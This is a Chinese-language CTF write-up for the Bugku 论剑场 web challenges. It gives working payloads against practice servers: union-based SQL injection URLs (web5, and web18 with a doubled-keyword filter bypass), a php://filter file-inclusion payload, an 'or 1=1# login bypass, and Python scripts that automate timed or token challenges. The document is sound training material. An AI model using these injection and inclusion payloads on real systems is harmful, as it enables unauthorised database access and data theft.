CTF_论剑场 Web WriteUp(持续更新)
文章目录
web1
利用的是变量覆盖漏洞
http://www.mamicode.com/info-detail-2314166.html
payload:
http://123.206.31.85:10001/?a=&c=aaaaa
web9
题干:
要求你PUT一串信息"bugku" 才能获得flag
先打开 burpsuite抓包
Send to Repeater
把这里GET改成PUT 然后下边写要传的参数即可
会获得一个base64 转码之后就是flag了
流量分析
再第一个tcp流里面就能找到flag了
web2
每次刷新的式子不一样 人算并且提交基本不可能
所以就要用到python了
撸脚本:
import requests import re url = 'http://123.206.31.85:10002/' s = requests.session() html = s.get(url).text html = html[82:] nums = re.search('</p>',html).start() html = html[:nums] data = {'result':eval(html)} result = s.post(url,data) print(result.text)
用正则提取里边的式子 然后eval计算出答案后post提交即可
得到结果:
<p>flag{b37d6bdd7bb132c7c7f6072cd318697c}</p>
web5
题干提示注入
先测试有几个字段
不报错
http://47.95.208.167:10005/?mod=read&id=1 order by 4
报错
http://47.95.208.167:10005/?mod=read&id=1 order by 5
所以有4个字段
爆数据库:
http://47.95.208.167:10005/?mod=read&id=0 union select 1,database(),3,4
得到web5
爆表:
http://47.95.208.167:10005/?mod=read&id=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='web5'
得到flag,posts,users
直接爆flag吧
爆字段
http://47.95.208.167:10005/?mod=read&id=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag'
爆字段值
http://47.95.208.167:10005/?mod=read&id=0 union select 1,group_concat(flag),3,4 from flag
得到flag
web6
先尝试登陆一下 说要本地登陆 于是拿bp抓包 改请求头
返回之后显示密码账号不对 于是找了一会儿 发现网页最下边有一段注释掉的base64
转码后发现是test123 可能是密码 猜测一下账号为admin 于是再登陆试试看
成功得到flag
web11
进去后发现页面是这样的
提示了有robots.txt 于是去瞄一眼
发现有个shell.php页面
要求某个值的MD5值的前6位为89240b
写个py脚本碰撞一下试试看
import hashlib def get_token(txt): m1 = hashlib.md5() m1.update(txt.encode("utf-8")) token = m1.hexdigest() return token for i in range(0,99999999999): if get_token(str(i))[0:6] == '89240b': print(i) break
得到结果
50124(因为每次给的前六位md5值不一样 所以这里的答案也不一样)
提交后得到flag
web13
发现一个提交页面 一开始也没啥思绪
试了一会儿发现抓包后响应头有个password字段
base64转码后发现
flag{69939c8d3f9a7114471c528d6c19c952}
尝试提交后并不对……
试了一会儿后发现 去掉flag{}
输入到输入框里
你能做的更快一点吗?你花费了xxxx毫秒
于是要我们快的话 就用python写个脚本提交了(而且这里password字段的值每次还不一样)
import requests import base64 url = 'http://123.206.31.85:10013/index.php' s = requests.session() html=s.get(url) psw = html.headers['Password'] ans = base64.b64decode(psw) data = {'password':str(ans)[7:39]} res = s.post(url,data) print(res.text)
这里先获得页面请求头里边password字段的值
然后用base64转码
再post回去
就可以获得flag了
得到的答案:
日志审计
直接搜索flag字符串 然后发现 一大串的注入痕迹
观察了发现最后一位的数值不同 猜测可能是ascii 转成 字符就行了
于是把这一串字符串先粘贴到一个记事本里
import re f = open("shenhe.txt") line = 1 while line: line = f.readline() if line!='': left = re.search('%3D',line).end() right = re.search('--',line).start() print(chr(int(line[left:right])),end='') f.close()
然后用正则获得最后的ascii的值并且转换成字符然后输出
web18
注入题
先测试单引号
http://123.206.31.85:10018/list.php?id=1'报错(指的是内容不显示 )
加上注释
http://123.206.31.85:10018/list.php?id=1'--+不报错
说明这样是可以注入成功的
然后试着测了一下字段数
http://123.206.31.85:10018/list.php?id=1'union select 1,2,3--+报错
结果测试到1-10都报错
然后跑了一下
http://123.206.31.85:10018/list.php?id=1'union--+不报错
发现关键字被过滤
然后试了一下 发现 union、select、or、and都被过滤了(有些可能没测)
这里可以用双写关键字绕过
http://123.206.31.85:10018/list.php?id=1'ununionion selecselectt 1,2,3--+发现字段数是3
爆数据库
http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,database(),3--+
得到web18
爆表
http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema = 'web18'--+
注意information里的or也要双写
得到 ctf,flag
爆字段
http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'flag'--+
获得id,flag
爆字段值
http://123.206.31.85:10018/list.php?id=0'ununionion selecselectt 1,group_concat(flag),3 from flag--+
获得flag
web20
这里有个动态密文 先尝试刷新的以下 发现一秒内的除了最后一位,动态密文是相同的
猜测是md5(时间戳)+一位随机数
然后写一段脚本提交就好了
import time import hashlib import requests import random def get_token(src): md5str = src m1 = hashlib.md5() m1.update(md5str.encode("utf-8")) token = m1.hexdigest() return token s = requests.session() urllen = 160 while urllen==160: url = 'http://123.206.31.85:10020/?key=' + str(get_token(str(int(time.time()+1)))) + str(random.randint(0, 9)) html = s.get(url).text urllen = len(html) print(url) print(html)
urllen的作用是判断页面的text是否为160 因为如果没有flag出现的话 页面大小就是160
然后跑脚本的时候发现动态密文的值是md5(时间戳+1)+一位随机数值(这个搞了我好久 我还以为脚本写错了)
最后得出flag
web25
这题一开始完全没头绪 试了好久没反应
那个下载页面是404
一开始我还以为是zidian和ziidan弄反了
还有обть
被这个也误导了很久
下面是解题思路
先扫描目录 发现有个shell.php
这个才是真正的填写页面
然后那个下载页面要把/2去掉
http://123.206.31.85:10025/ziidan.txt
然后把字典里的字符串一个个试 就能试出flag了
(完全不知道这题在考什么????)
web3
一开始以为是文件上传题 在尝试绕过上传无果后 发现url
可能是文件包含漏洞
https://www.cnblogs.com/iamstudy/articles/include_file.html
payload:http://123.206.31.85:10003/?op=php://filter/convert.base64-encode/resource=flag
web4
登录题
先注入测试 没有回显
然后尝试一下万能密码
账号:admin
密码:'or 1=1#
登录成功
获得flag
- BugkuCTF Writeup——Web(更新中)
- MOCTF writeup web篇(持续更新)
- [置顶] BugkuCTF——web篇writeup(持续更新)
- MOCTF Web writeup (持续更新)
- NCTF 南京邮电大学网络攻防平台 writeup(web部分)持续更新
- 33c3 CTF web WriteUp
- bugkuCTF Writeup (Web)41-44
- Bugkuctf ——流量分析 write up(持续更新中)
- Writeup_BugkuCTF_Web
- bugkuCTF Writeup (Web)26-29
- ctf web3 writeup
- bugkuCTF Writeup (Web)22-25
- 南邮CTF-WEB-write-up 教程详细解说
- 29c3ctf web100 regexdb writeup
- TWCTF 2016 (Tokyo Westerns CTF ) WEB WriteUp
- Tamevic’s Ctf-Web writeup@实验吧‘这个看起来有点简单!’
- ctf web 的一些writeup jwt以及黑客游戏
- SWPU CTF 2017 Web WriteUp
- hgame17_re 部分writeup(持续更新)
- NJCTF 2017 web Writeup